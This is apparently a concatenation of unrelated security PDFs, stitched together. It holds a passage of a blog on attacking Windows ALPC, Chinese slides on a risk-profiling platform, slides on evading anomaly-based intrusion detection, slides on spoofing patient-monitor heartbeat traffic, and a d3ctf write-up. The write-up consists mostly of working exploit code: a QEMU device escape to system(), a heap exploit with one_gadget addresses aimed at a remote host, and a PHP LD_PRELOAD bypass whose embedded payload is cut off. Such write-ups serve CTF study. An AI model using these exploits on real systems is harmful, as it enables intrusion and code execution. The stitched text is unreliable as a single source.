ALPC communication channels, I’d like to point out an interesting conceptual weakness with ALPC communication that the below attack paths build on and that should be kept in mind to nd further exploit potential. Looking back at the ALPC Message Flow section we can recall, that in order to allow for ALPC communication to occur a server has to open up an ALPC (connection) Putting the pieces together: A Sample Application Attack Surface port, wait for incoming messages and then accept or decline these messages. Although an ALPC port is a securable kernel object and can as such be created with a Security Descriptor that denes who can access and connect to it, most of the time the creating ALPC server process can’t (or want) to limit access based on a callee’s SID. If you can’t (or want) limit access to your ALPC port by a SID, the only option you have is to allow Everyone to connect to your port and make a accept/deny decision after a client has connected and messaged you. That in turn means that a lot of built-in ALPC servers do allow Everyone to connect and send a message to a server. Even if the server rejects a client right away, sending an initial message and some message attributes along with that message, might be enough to exploit a vulnerability. Due to this communication architecture and the ubiquity of ALPC, exploiting ALPC is also an interesting vector to escape sandboxes. The rst step in mapping the attack surface is to identify targets, which in our case are ALPC client or server processes. There are generally three routes that came to my mind of how to identify such processes: 1. Identify ALPC port objects and map those to the owning processes 2. Inspect processes and determine if ALPC is used within them 3. Use Event Tracing for Windows (ETW) to list ALPC events All of these ways could be interesting, so let’s have a look at them… Find ALPC port objects We’ve already seen the most straight forward way to identify ALPC port objects at the beginning of this post, which is to re up WinObj and spot ALPC objects by the ‘Type’ column. WinObj can’t give us more details so we head over to a WinDbg kernel debugger to inspect this ALPC port object: Inspecting ALPC port objects with WinDbg In the above commands we used Windbg’s !object command to query the object manager for the named object in the specied path. This implicitly already told us Identify Targets that this ALPC port has to be an ALPC connection port, because communications ports are not named. In turn we can conclude that we can use WinObj only to nd ALPC connection ports and through these only ALPC server processes. Speaking of server processes: As shown above, one can use WinDbg’s undocumented !alpc command to display information about the ALPC port that we just identied. The output includes - alongside with a lot of other useful information, the owning server process of the port, which in this case is svchost.exe. Now that we know the address of the ALPC Port object we can use the !alpc command once again to display the active connections for this ALPC connection port: Show ALPC port connections in WinDbg Side note: The !alpc Windbg command is undocumented, but the outdated !lpc command, which existed in the LPC days, is documented here and has a timestamp from December 2021. This documentation page does mention that the !lpc command is outdated and that the !alpc command should be used instead, but the !alpc command syntax and options are completely different. But to be fair the !alpc command syntax is displayed in WinDbg if you enter any invalid !alpc command: ALPC commands in WinDbg Thanks to James Forshaw and his NtObjectManager in .NET we can also easily query the NtObjectManager in PowerShell to search for ALPC port objects, and even better James already provided the wrapper function for this via Get-AccessibleAlpcPort. Get-AccessibleAlpcPort command output Find ALPC used in processes As always there are various ways to nd ALPC port usage in processes, here are a few that came to mind: >> Similar to approaches in previous posts (here) one could use the dumpbin.exe utility to list imported functions of executables and search therein for ALPC specic function calls. >> As the above approach works with executable les on disk, but not with running processes, one could transfer the method used by dumpbin.exe and parse the Import Address Table (IAT) of running processes to nd ALPC specic function calls. >> One could attach to running processes, query the open handles for this process and lter for those handles that point to ALPC ports. Once dumpbin.exe is installed, which for examples comes with the Visual Studio C++ development suite, the following two PowerShell one-liners could be used to nd .exe and .dll les that create or connec to an ALPC port: 1 2 3 4 5 ## Get ALPC Server processes (those that create an ALPC port) Get-ChildItem -Path "C:\Windows\System32\" -Include ('*.exe', '*.d ll') -Recurse -ErrorAction SilentlyContinue | % { $out=$(C:\"Progr am Files (x86)"\"Microsoft Visual Studio 14.0"\VC\bin\dumpbin.exe /IMPORTS:ntdll.dll $_.VersionInfo.FileName); If($out -like "*NtAlp cCreatePort*"){ Write-Host "[+] Executable creating ALPC Port: $( $_.VersionInfo.FileName)"; Write-Output "[+] $($_.VersionInfo.File Name)`n`n $($out|%{"$_`n"})" | Out-File -FilePath NtAlpcCreatePor t.txt -Append } } ## Get ALPC client processes (those that connect to an ALPC port) Get-ChildItem -Path "C:\Windows\System32\" -Include ('*.exe', '*.d ll') -Recurse -ErrorAction SilentlyContinue | % { $out=$(C:\"Progr am Files (x86)"\"Microsoft Visual Studio 14.0"\VC\bin\dumpbin.exe powershell Executables using ALPC functionality I did not code the 2nd option (parsing the IAT) - if you know a tool that does this let me know, but there is an easy, but very slow way to tackle option number 3 (nd ALPC handles in processes) using the following WinDbg command: !handle 0 2 0 ALPC Port Identify handles to ALPC port objects using WinDbg Be aware that this is very slow and will probably take a few hours to complete (I stopped after 10 minutes and only got around 18 handles). But once again thanks to James Forshaw and his NtApiDotNet there is any easier /IMPORTS:ntdll.dll $_.VersionInfo.FileName); If($out -like "*NtAlp cConnectPor*"){ Write-Host "[+] Executable connecting to ALPC Por t: $($_.VersionInfo.FileName)"; Write-Output "[+] $($_.VersionInfo .FileName)`n`n $($out|%{"$_`n"})" | Out-File -FilePath NtAlpcConne ctPort.txt -Append } } way to code this yourself and speed up this process, plus we can also get some interesting ALPC stats… You can nd that tool here Identify handles to ALPC port objects using NtApiDotNet Note that this program does not run in kernel land, so I’d expect better results with the WinDbg command, but it does its job to list some ALPC ports used by various processes. By iterating over all processes that we have access to, we can also calculate some basic stats about ALPC usage, as shown above. These numbers are not 100% accurate, but with - on average - around 14 ALPC communication port handles used per process we can denitely conclude that ALPC is used quite frequently within Windows. Once you identify a process that sounds like an interesting target WinDbg can be used again to dig deeper … Find ALPC port objects in processes using WinDbg Use Event Tracing For Windows Although ALPC is undocumented a few ALPCs events are exposed as Windows events that can be captured through Event Tracing for Windows (ETW). One of the tools that helps with ALPC events is ProcMonXv2 by zodiacon. Identify ALPC communications with ETW using ProcMonXv2 After a few seconds of ltering for the ve exposed ALPC events we get over 1000 events, another indication that ALPC is used quite frequently. But apart from that there is not much that ETW can offer in terms of insights into the ALPC communication channels, but anyhow, it did what it was intended to do: Identify ALPC targets. As with the previous post of the series (see here & here) one interesting attack vector is impersonation of another party. As last time, I’m not going to cover Impersonation again, but you’ll nd all the explanation that you’ll need in the in the Impersonation section of the Named Pipe Post. For ALPC communication the impersonation routines are bound to messages, which means that both client and server (aka. each communicating party) can impersonate the user on the other side. However, in order to allow for impersonation the impersonated communication partner has to allow to for impersonation to happen AND the impersonating communication partner needs to hold the SeImpersonate Impersonation and Non-Impersonation privilege (it’s still a secured communication channel, right?)… Looking at the code there seem to be two options to full the rst condition, which is to allow being impersonated: >> The rst option: Through the PortAttributes , e.g. like this: >> The second option: Through the ALPC_MESSAGE_SECURITY_ATTRIBUTE message attribute If you’re not super familiar with VC++/ALPC code, these snippets might not tell you anything, which is totally ne. The point here is: In theory there are two options to specify that you allow impersonation. However, there is a catch: >> If the server (the one with the connection port handle) wants to impersonate a client then impersonation is allowed if the client specied EITHER the rst option OR the second (or both, but one option is sufcient). >> However if the client wants to impersonate the server, then the server has to provide the 2nd option. In other words: The server has to send the ALPC_MESSAGE_SECURITY_ATTRIBUTE to allow the client to impersonate the server. I’ve looked at both routes: A server impersonating a client and a client impersonating a server. My rst path was nding clients attempting to connect to a server port that does not exist in order to check for impersonation conditions. I tried various methods, but so far I haven’t gured a great way to identify such clients. I managed to use breakpoints in the kernel to manually spot some cases, but so far couldn’t nd any interesting ones that would allow for client impersonation. Below is an example of the “ApplicationFrameHost.exe” trying to connect to an ALPC port that does not exist, which I could catch with my sample server, however, the process does not allow impersonation (and the application runs as my current user)… 1 2 3 4 5 6 7 8 // QOS SecurityQos.ImpersonationLevel = SecurityImpersonation; SecurityQos.ContextTrackingMode = SECURITY_STATIC_TRACKING; SecurityQos.EffectiveOnly = 0; SecurityQos.Length = sizeof(SecurityQos); // ALPC Port Attributs PortAttributes.SecurityQos = SecurityQos; PortAttributes.Flags = ALPC_PORTFLG_ALLOWIMPERSONATION; c++ 1 2 3 pMsgAttrSend = setup_sample_message_attributes(hSrvCommPort, NULL, ALPC_MESSAGE_SECURITY_ATTRIBUTE); // setup security attribute pMsgAttrSend->ValidAttributes |= ALPC_MESSAGE_SECURITY_ATTRIBUTE; // specify it to be valid for the next message NtAlpcSendWaitReceivePort(...) // send the message c++ Client impersonation attempt Not a successful impersonation attempt, but at least it proves the idea. Onto the other path: I located a bunch of ALPC connection ports using Get- AccessibleAlpcPort as shown previously and instructed my ALPC client to connect to these in order to verify whether these a) allow me to connect, b) send me any actual message back and c) send impersonation message attributes along with a message. For all of the ALPC connection ports I checked at best I got some short initialization message with an ALPC_MESSAGE_CONTEXT_ATTRIBUTE back, which is not useful for impersonation, but at least once again it showcases the idea here: Server impersonation attempt Server Non-Impersonation In the RPC Part of the series I mentioned that it could also be interesting to connect to a server, that does use impersonation to change the security context of its thread to the security context of the calling client, but does not check if the impersonation succeeds or fails. In such a scenario the server might be tricked into executing tasks with its own - potentially elevated - security context. As detailed in the post about RPC, nding such occasions comes down to a case-by-base analysis of a specic ALPC server process you’re looking at. What you need for this is: >> A server process opening an ALPC port that your client can connect to >> The server has to accept connection messages and must attempt to impersonate the server >> The server must not check if the impersonation succeeds or fails >> (For relevant cases the server must run in a different security context then your client, aka. different user or different integrity level) As of now I can’t think of a good way of automating or semi-automating the process of nding such targets. The only option that comes to mind is nding ALPC connection ports and reversing the hosting processes. I’ll get this post updated if I stumble across anything interesting in this direction, but for the main part I wanted to re-iterate the attack path of failed impersonation attempts. As mentioned in the ALPC Message Attributes section there are several message attributes that a client or server can send along with a message. One of these is the ALPC_DATA_VIEW_ATTR attribute that can be used to send information about a mapped view to the other communication party. To recall: This could for example be used to store larger messages or data in a shared view and send a handle to that shared view to the other party instead of using the double-buffer messaging mechanism to copy data from one memory space into another. The interesting bit here is that a shared view (or section as its called in Windows) is mapped into the process space of the receiver when being referenced in an ALPC_DATA_VIEW_ATTR attribute. The receiver could then do something with this section (if they are aware of it being mapped), but in the end the receiver of the message has to ensure that a mapped view is freed from its own memory space, and this requires a certain number of steps, which might not be followed correctly. If a receiver fails to free a mapped view, e.g. because it never expected to receive a view in the rst place, the sender can send more and more views with arbitrary data to ll the receiver’s memory space with views of arbitrary data, which comes down to a Heap Spray attack. I only learned about this ALPC attack vector by (once again) listening to Alex Ionescu’s SyScan ALPC Talk and I think there is no way to better phrase and showcase how this attack vector works then he does in this talk, so I’m not going to copy his content and words and just point you to minute 32 of his talk, where he starts to explain the attack. Also you want to see minute 53 of his talk for a demo of his heap spray attack. SyScan'14 Singapore: All About The Rpc, Lrpc, Alpc, An SyScan'14 Singapore: All About The Rpc, Lrpc, Alpc, An… The same logics applies with other ALPC message attributes, for example with handles that are send in ALPC_MESSAGE_HANDLE_INFORMATION via the ALPC handle attribute. Unfreed Message Objects Finding vulnerable targets for this type of attacks is - once again - a case-by-case investigative process, where one has to: >> Find processes (of interest) using ALPC communication >> Identify how a target process handles ALPC message attributes and especially if ALPC message attributes are freed >> Get creative about options to abuse non-freed resources, where the obvious PoC option would be to exhaust process memory space Of course, another valid approach would be to pick a target and just ood it with views (as an example) to check if the result is a lot of shared memory regions being allocated within the target’s address space. A useful tool to inspect the memory regions of a process is VMMap from the Sysinternals suite, which is what I’ve used as a PoC below. As an example I’ve ooded my ALPC sample server with 20kb views as shown below: Memory spraying a vulnerable ALPC application This does work because I did not bother to make any effort to free any allocated attributes in my sample ALPC server. I’ve also randomly picked a few - like four or ve - of Microsoft’s ALPC processes (that I identied using the above shown techniques), but the ones I picked do not seem to make the same mistake. Honestly, it might be valuable to check more processes for this, but as of know I have no use for this kind of bug other than crashing a process, which - if critical enough - might crash the OS as well (Denial of Service). Interesting Side note: In his talk Alex Ionescu mentions that the Windows Memory Manager allocates memory regions on 64kb boundaries, which means that whenever you allocate memory the Memory Manager places this memory at the start of the next available 64kb block. Which allows you, as an attacker, to create and map views of arbitrary size (preferably smaller than 64kb to make the memory exhaustion efcient) and the OS will map the view in the server’s memory and mark 64kb-YourViewSize as unusable memory, because it needs to align all memory allocation to 64kb boundaries. You want to see minute 54 of Alex’s talk to get a visual and verbal explanation of this effect. Raymond Chen explains the reasoning behind the 64kb granularity here. At the end of the day memory exhaustion attacks are of course not the only viable option to use a memory/heap spray primitive, which people smarter than me can turn into a exploit path… ALPC is undocumented and quite complex, but as a motivational benet: Vulnerabilities inside of ALPC can become very powerful as ALPC is ubiquitous within the Windows OS, all of the built-in high privileged processes use ALPC and due to its communication architecture it is an attractive target even from a sandbox perspective. There is much more to ALPC than I have covered in this post. Potentially one could write an entire book about ALPC, but I hope to have at least touched the basics to get you started in getting interested in ALPC. To get a rst “Where and how much ALPC is in my PC”-impression I recommend starting ProcMonXv2 (by zodiacon) on your host to see thousands of ALPC events ring in a few seconds. Identify ALPC communication using ProcMonXv2 To continue from there you might nd my ALPC client and server code useful to play around with ALPC processes and to identify & exploit vulnerabilities within ALPC. If you nd yourself coding and/or investigating ALPC make sure to check out the reference section for input on how others dealt with ALPC. Conclousion Finally as a last word and to conclude my recommendation from the beginning: If you feel like you could hear another voice & perspective on ALPC, I highly recommend to grab another beverage and an enjoy the following hour of Alex Ionescu talk about LPC, RPC and ALPC: SyScan'14 Singapore: All About The Rpc, Lrpc, Alpc, An SyScan'14 Singapore: All About The Rpc, Lrpc, Alpc, An… When looking into ALPC I initially thought that a server listens on its communication port, which it receives when accepting a client connection via NtAlpcConnectPort. This would have made sense, since it’s called communication port. However, listening for incoming messages on the server’s communication port resulted in a blocking call to NtAlpcSendWaitReceivePort that never came back with a message. So my assumption about the server’s ALPC communication port must have been wrong, which puzzled me, since the client on the other side does get messages on his communication port. I hung on this question for a while until I reached out to Alex Ionescu to ask him about this and I learned that my assumption was indeed incorrect, but to be more precise it has become incorrect over time: Alex explained to me that the idea I had (server listens and sends messages on its communication port) was the way that LPC (the predecessor of ALPC) was designed to work. This design however would force you to listen on a growing number of communication ports with each new client the server accepts. Imagine a server has 100 clients talking to it, then the server needs to listen on 100 communication ports to get client messages, which often resulted in creating 100 threads, where each thread would communicate with a different client. This was deemed inefcient and a much more efcient solution was to have a single thread listening (and sending) on the server’s connection port, where all messages are being send to this connection port. That in turn means: A server accepts a client connection, receives a handle to a client’s communication port, but still uses the server’s connection port handle in calls to NtAlpcSendWaitReceivePort in order to send and receive messages from all connected clients. Appendix A: The use of connection and communication ports Does that mean that the server’s communication port is obsolete then (and this was my follow up question to Alex)? His answer, once again, made perfect sense and cleared my understanding of ALPC: A server’s per client communication port is used internally by the OS to tie a message, send by a specic client, to this client’s specic communication port. This allows the OS to tie a special context structure to each client communication port that can be used to identify the client. This special context structure is the PortContext, which can be any arbitrary structure, that can be passed to NtAlpcAcceptConnectPort and which can later be extracted from the any message with the ALPC_CONTEXT_ATTR message attribute. That means: When a server listens on its connection port it receives messages from all clients, but if it wants to know which client send the message, the server can get the port context structure (through the ALPC_CONTEXT_ATTR message attribute), that it assigned to this client upon accepting the connection, and the OS will fetch that context structure from the internally preserved client communication port. This far we can conclude that the server’s per-client communication port is still important for the OS and still has its place and role in the ALPC communication structure. That does, however, not answer the question why the server would actually need a handle to each-clients communication port (because the client’s PortContext can be extracted from a message, which is received by using the connection port handle). The answer here is impersonation. When the server wants to impersonate a client it needs to pass the client’s communication port to NtAlpcImpersonateClientOfPort. The reason for this is that the security context information that are needed to perform the impersonation are bound (if allowed by the client) to the client’s communication port. It would make no sense to attach these information to the connection port, because all clients use this connection port, whereas each client has it own unique communication port for each server. Therefore: If you want to impersonate your clients you want to keep each client’s communication port handle. Below are a few resources that I found helpful to learn and dig into ALPC. Reference Projects that make use of ALPC >> https://github.com/microsoft/terminal/blob/main/src/interactivity/onecore/ConIoSrvComm.cpp >> https://github.com/DownWithUp/ALPC-Example >> https://github.com/DynamoRIO/drmemory >> https://github.com/hakril/PythonForWindows >> https://docs.rs/ >> https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools >> https://processhacker.sourceforge.io/doc/ntlpcapi_8h.html >> https://github.com/bnagy/w32 >> https://github.com/taviso/ctftool References References to ALPC implementation details >> https://github.com/googleprojectzero/sandbox-attacksurface-analysis- tools/blob/main/NtApiDotNet/NtAlpcNative.cs >> https://processhacker.sourceforge.io/doc/ntlpcapi_8h.html >> https://github.com/hakril/PythonForWindows/blob/master/windows/generated_def/windef.py Talks about ALPC >> Youtube: SyScan’14 Singapore: All About The Rpc, Lrpc, Alpc, And Lpc In Your Pc By Alex Ionescu >> Slides: SyScan’14 Singapore: All About The Rpc, Lrpc, Alpc, And Lpc In Your Pc By Alex Ionescu >> Youtube: Hack.lu 2017 A view into ALPC-RPC by Clement Rouault and Thomas Imbert >> Slides: ALPC Fuzzing Toolkit LPC References: >> https://github.com/avalon1610/LPC Other Posts Debugging and Reversing ALPC 29 May 2022 Offensive Windows IPC Internals 2: RPC 21 Feb 2021 Offensive Windows IPC Internals 1: Named Pipes 10 Jan 2021
pdf
安全画像在58落地实践 目录 0 1 0 2 0 3 0 4 0 5 整体架构 标签生产 标签管理 落地实践 背景 背景 01 背景 背景 黑名单 维度单一,力度粗 判罚依据少,误杀严重 有监督算法模型 模型训练成本高 准确率衰减较快 内容识别 内容变化频繁 字体变化频繁 传统风控策略 黑产特征变化频繁 人工维护成本高 传统 风控  传统风控手段主要是基于行为和内容的拦截,在对抗初期,效果比较明显,但随着黑产攻击行为的 不断变化,问题也逐渐显现  安全画像的目标:利用现有风控手段的安全治理成果,持续对黑产资源进行多维度消耗,提升黑产 攻击成本  传统风控系统虽然行之有效,但是没有对黑产资源进行消耗 解决方案 整体架构 02 系统架构 基础数据域 用户行为数据 风控审核数据 算法模型数据 第三方数据 基础平台域 数据流转平台 规则计算引擎 特征库平台 生产域 实时标签备注系统 离线任务调度系统 门户 统一数据接入服务 标签库 名单库 查询服务 画像查询服务 综合风险分 关联分析服务 运营域 能力域 标签管理平台 策略管理后台 综合风险分平台 自动化评估平台 关联分析平台 权 限 管 理 监控预警平台 技术选型 维度结构不固定 T级数据存储 存储横向扩容 高并发低延迟 标签数据可视化管理 实时复杂标签聚合查询 离线分析 算法模型支撑 高可用 m on god b red is 高频 es HDFS 标签生产 03 多种标签生产方式 0 1 行为特征分析 0 3 黑产工具分析 0 5 历史违规数据积累 0 2 黑产情报 0 4 群体聚类模型 0 6 第三方数据校 验能力  丰富的标签生产方式 标准化流程 1 3 5 2 4 6 打标引擎 实时打标引擎 离线打标引擎 算法打标引擎 数据源配置 特征配置 策略配置 策略监控 标签任务配置 任务调度 任务监控 特征配置 样本训练 准招率评估 特征库 数据 层 业务离线数据 业务实时数据 计算 引擎 实时计算平台 流式计算平台 离线计算平台 PV计算能力 通用过滤组件 UV计算能力 滑动窗口能力 PV计算能力 UV计算能力 滚动窗口能力 PV计算能力 UV计算能力 超长窗口计算能力 原生特征 复合特征 特征 管理 特征查询 应用 层 算法模型 策略模型 黑产特征分析平台 监控预警平台 特征配置 图算法模型  标签策略繁多,难于维护  准确率、召回率衰减较快  人工投入成本高  传统策略分析、分类算法模型  黑产批量控制账号进行各种违规行为,存在资源聚集性以及行为一 致性 图算法模型 图算法模型 标签管理 04 标签管理平台 01 02 03 04 05 时效性 管理 标签字 典管理 标签清 洗 标签查 询 标签分 值体系 关联分析平台 覆盖 范围 广泛 输出 能力 多样 化 注册场景 登录场景 发布场景 支持 团伙 分析 关联维 度多 支持 层级 关联 关联分 析平台 支持设备维度、身份维度、 认证维度、账号维度关联 支持多层关联 层级可定制 关联结果相似性分析 支持在线查询 文件导出 批量查询 自动化评估平台 准确率评估 召回率评估 样本库  自动化评估平台 落地实践 05 落地数据 16亿+ 恶意数据存量 画像数据存量 26亿+ 99%+ 准确率 120+ 接入业务场景 日调用量 300亿+ 日识别风险请求 20亿+ 服务场景 蜜罐 精准打击 处置 惩罚 样本投放 黑样本 白样本 差异化分 析 行为轨迹对比 黑白行为分析 轨迹跟踪 全路径追踪 3 60 度特征提 取 行为锁定 风险行为判定 风险实体打标 THANKS THANKS
pdf
Why Anomaly Based Intrusion Detection Systems are a Hax0rs Best Friend By David Maynor GT Information Security [email protected] The history of the castle. • What is a Anomaly based IDS and how does it differ from Signature based systems? a. Signature based systems rely on static analysis of event. b. Anomaly systems rely on creating a baseline of normal activity then flag any deviations. • History a. Where they come from. b. What drives their development. How the castle is built. • How anomaly based systems work. a. A baseline is normally gathered during a tuning phase. Gather all traffic, analyze it, store it. b. Data mining process that does statistical analysis of data. • Theory behind them. • a. If its traffic that hasn't been seen before, its bad. • b. Attacks cause things the system has not seen before. How the castle is built. (cont.) • Can science brewed in research labs work in the wild? a. Eggheads can build rockets, but can they build security products? b. Crackers excel at creating attacks that bypass security models, why is traffic analysis any different? • Hardware based considerations. a. What kind of hardware is required to make this a effective scalable solution? b. Type of information that would have to be stored leads to huge hardware requirements. c. Speed. -sniffing -analysis The castle was built on a shaky foundation. • Problems. a. Unwieldy size. b. Hardware limitations. c. Integration of network changes. • Things anomaly based systems assume. a. If it hasn't been seen before, its bad. b. Machines have normal patterns that can be easily distinguished. c. Networks don’t change. • This is somewhat of a half-truth. The castle was built on a shaky foundation. (cont.) • Why it is so hard to tell good traffic from bad traffic? a. Anomaly based systems rarely look at the payload. b. If network runs in a nonstandard configuration there are problems. c. Attacks against commonly used services on the machines are ignored. • Web server attacks against public web servers go unnoticed. • Configuration problems. How to tear the castle down. • More noise, less accuracy. a. Single outside point to multiple inside machines. b. Properly crafted packets will cause inside machines to appear as attackers. • Covert channels. a. Hiding the data in plain site. b. How useful is this? • Flooding. a. Several outside sources to a single inside source. b. Not very effective, but useful for quick and dirty. How to tear the castle down. (cont.) • Breaking traffic analysis. a. Teaching a old dog new tricks. b. Recon of target c. When in Rome... • Flaws in the System a. Attacks against the system itself. b. Attacks against what feeds the system. Is there any way to fix the walls? • Can weak science be fixed? • Are these problems/holes fixable? Looking back. • Is it useful? • Who do they keep out? • How can they be better? • What does this all mean for your standard system cracker?
pdf
• • • • • • • • • • • • • • • • • • *https://www.hpe.com/us/en/insights/articles/medical-device-security-hacking-prevention-measures-1806.html • • • • • • • • • • • • • • • • • • • • • • • • • • • • PM PM CMS PM CMS Data Packets • • • • • • • • • • • • • • • • • • CMS Opens Channel “SYN” CMS Opens Channel “SYN” PM “SYN, ACK” CMS Opens Channel “SYN” PM “SYN, ACK” CMS Opens Channel “SYN” PM “SYN, ACK” CMS “ACK” CMS Opens Channel “SYN” PM “SYN, ACK” CMS “ACK” PM What port you want to use? CMS Opens Channel “SYN” PM “SYN, ACK” CMS “ACK” PM What port you want to use? CMS This one! 3627 CMS Opens Channel “SYN” PM “SYN, ACK” CMS “ACK” PM What port you want to use? CMS This one! 3627 PM Ok, Here some Data! 1. 2. 1. 3. • • • • • • • • • • • • • Heartbeat Value (80 base 10) Heartbeat Value (80 base 10) Kali Box MAC Heartbeat Value (120 base 10) • • • • “Fictitious cardiac rhythms, even intermittent, could lead to extended hospitalization, additional testing, and side effects from medications to control heart rhythm and/or prevent clots. The hospital could also suffer resource consumption.” - Dr. S. Nordeck Fictitious intermittent cardiac rhythms Fictitious intermittent cardiac rhythms Blood Pressure Normal? Fictitious intermittent cardiac rhythms Blood Pressure Normal? If PM monitor was modified Fictitious intermittent cardiac rhythms Blood Pressure Normal? If PM monitor was modified Fictitious intermittent cardiac rhythms Blood Pressure Normal? Medications Administered If PM was modified • • • • • • • • • • • •
pdf
d3ctf WriteUp By Nu1L author:Nu1L d3ctf WriteUp By Nu1L PWN d3dev d3dev-revenge Truth hackphp liproll Reverse jumpjump baby_spear No Name white give Ancient Crypto babyLattice WEB 8-bit pub non RCE? Happy_Valentine's_Day Pool Calc real_cloud_storage real_cloud_serverless Misc Virtual Love_Revenge Virtual Love easyQuantum Signin shellgen2 PWN d3dev 没关monitor,直接搞 d3dev-revenge mmio有越界读写 控制⼀下seek和addr,中间有个tea #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/io.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> unsigned char *mmio_mem; void die(const char *msg) { perror(msg); exit(-1); } unsigned int pmio_base = 0xc040; uint32_t pmio_read(uint32_t addr) { return (uint32_t)inl(addr+pmio_base); } void pmio_write(uint32_t addr, uint32_t value) { outl(value, addr+pmio_base); } void mmio_write(uint32_t addr, uint64_t value) { *((uint64_t *)(mmio_mem + addr)) = value; } uint64_t mmio_read(uint32_t addr) { return *((uint64_t *)(mmio_mem + addr)); } void enc (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i < 32; i++) { /* basic cycle start */ sum += delta; v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); } /* end cycle */ v[0]=v0; v[1]=v1; } void dec (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i<32; i++) { /* basic cycle start */ v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); sum -= delta; } /* end cycle */ v[0]=v0; v[1]=v1; } uint64_t u64(char * s){ uint64_t result = 0; for (int i = 7 ; i >=0 ;i--){ result = (result << 8) | (0x00000000000000ff&s[i]); } return result; } int main(int argc, char *argv[]) { // Open and map I/O memory for the strng device int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC); if (mmio_fd == -1) die("mmio_fd open failed"); iopl(3); mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); if (mmio_mem == MAP_FAILED) die("mmap mmio_mem failed"); printf("mmio_mem @ %p\n", mmio_mem); //key pmio_write(4,0); //seek pmio_write(8,0x100); Truth edit的时候上⼀次拷⻉到bak时会溢出 unsigned long long int r_rand = mmio_read(3<<3); unsigned int key[4] = {0,0,0,0}; enc(&r_rand,key); unsigned long long int libcbase = r_rand-0x4aeb0; printf("libcbase:%p\n%p\n",libcbase,u64("sh\x00\x00\x00\x00\x00\x00")); unsigned long long int system = libcbase+0x55410; dec(&system,key); mmio_write(3<<3,system); pmio_read(0); pmio_write(28,u64("sh\x00\x00\x00\x00\x00\x00")); pmio_write(4,0); } from pwn import * # p = process('./Truth') p = remote('106.14.216.214', 47407) context.log_level = 'debug' def launch_gdb(): context.terminal = ['xfce4-terminal', '-x', 'sh', '-c'] gdb.attach(proc.pidof(p)[0]) def edit(n,c): p.recvuntil(':') p.sendline('2') p.recvuntil('edit') p.sendline(n) p.sendline(c) # launch_gdb() p.recvuntil(':') p.sendline('1') p.recvuntil('content') p.send('''<a>aaaaa<b>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaa</b> <c>ccc<d>ddddddddddddddddddddddddd<e>eeeeeeee<f>{0}</f></e></d></c> </a>\xff'''.format('\xda'*0x5)) p.recvuntil(':') p.sendline('4') p.recvuntil('MEME') p.sendline('a') p.recvuntil('Useless') leak_libc = u64(p.recv(6) + '\x00\x00') - 3951608 print(hex(leak_libc)) payload = '\xaa' * 0x58 + 'x' * 24 #(p64(49) + p64(0xdeadbeef) + p64(0x100000001) +p64(0xdeadbeef) * 3 + p64(0x21) + p64(0xdeadbeef) * 3)*2 # 0x24a2980 - 0x24a2aa0 edit('f',payload) edit('f','b'*0x57) p.recvuntil(':') p.sendline('4') p.recvuntil('MEME') p.sendline('f') p.recvuntil('x'*24) leak_heap = u64(p.recvline()[:-1].ljust(8,'\x00')) - 76320 print(hex(leak_heap)) chunk_addr = leak_heap + 76160 + 0x10 fake_obj = p64(chunk_addr + 0x20) + p64(leak_heap + 75208) ''' 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf0364 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1207 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL 0x00000000001ad889 : xchg esp, esi ; call qword ptr [rax] ''' payload = fake_obj + '\xbb' * 0x10+\ p64(chunk_addr + 0x48) + p64(chunk_addr + 0x40) + p64(1) + p64(chunk_addr + 0x48) + p64(ord('d'))+\ p64(leak_libc + 0x47B8C) + p64(0xdeadbeef) +\ (p64(49) + p64(0xdeadbeef) + p64(0x100000001) +p64(0xdeadbeef) * 3 + p64(0x21) + p64(0xdeadbeef) * 3) + \ hackphp 直接LD_PRELOAD绕过去了 (p64(49) + p64(0xdeadbeef) + p64(0x100000001) +p64(leak_libc + 0x45226) * 3 + p64(0x21) + p64(0xdeadbeef) * 3) + \ p64(49) + p64(0xdeadbeef) + p64(0x100000001) + p64(chunk_addr) # 0x11c59b0 0x11c5990 edit('f',payload) edit('f','b'*0x100) p.recvuntil(':') p.sendline('4') p.recvuntil('MEME') p.sendline('d') p.interactive() <?php $so=""; $so = $so.'f0VMRgIBAQAAAAAAAAAAAAMAPgABAA'; $so = $so.'AAwBAAAAAAAABAAAAAAAAAAFg4AAAA'; $so = $so.'AAAAAAAAAEAAOAALAEAAHgAdAAEAAA'; $so = $so.'AEAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; $so = $so.'AAAAAAAA2AUAAAAAAADYBQAAAAAAAA'; $so = $so.'AQAAAAAAAAAQAAAAUAAAAAEAAAAAAA'; $so = $so.'AAAQAAAAAAAAABAAAAAAAADVAQAAAA'; $so = $so.'AAANUBAAAAAAAAABAAAAAAAAABAAAA'; $so = $so.'BAAAAAAgAAAAAAAAACAAAAAAAAAAIA'; $so = 